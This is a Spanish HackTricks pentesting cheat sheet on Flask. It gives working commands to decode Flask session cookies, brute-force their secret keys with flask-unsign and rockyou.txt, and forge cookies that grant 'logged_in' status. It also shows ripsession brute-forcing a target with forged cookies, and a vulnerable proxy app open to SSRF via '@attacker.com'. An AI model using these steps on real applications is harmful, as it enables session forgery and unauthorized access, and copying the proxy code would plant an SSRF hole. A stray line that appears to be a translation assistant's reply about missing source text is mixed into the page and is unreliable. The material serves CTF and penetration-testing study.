Flask

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Probablemente si estás jugando un CTF una aplicación Flask estará relacionada con SSTI.

Cookies

El nombre por defecto de la cookie de sesión es session.

Decodificador

Decodificador online de cookies de Flask: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obtén la primera parte de la cookie hasta el primer punto y decodifícala en Base64:

echo "ImhlbGxvIg" | base64 -d

La cookie también está firmada con una contraseña

Flask-Unsign

Herramienta de línea de comandos para obtener, decodificar, brute-force y forjar session cookies de una aplicación Flask adivinando secret keys.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firmado

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firmado usando legacy (versiones antiguas)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de línea de comandos para realizar brute-force contra sitios web usando cookies elaboradas con flask-unsign.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo usa la opción eval de sqlmap para firmar automáticamente los payloads de sqlmap para Flask usando un secreto conocido.

Proxy de Flask a SSRF

En este writeup se explica cómo Flask permite una petición que comienza con el carácter “@”:

GET @/ HTTP/1.1
Host: target.com
Connection: close

No has proporcionado el contenido a traducir. Por favor, pega el texto o el fragmento del archivo src/network-services-pentesting/pentesting-web/flask.md que quieres que traduzca.

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podría permitir introducir algo como “@attacker.com” para causar un SSRF.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks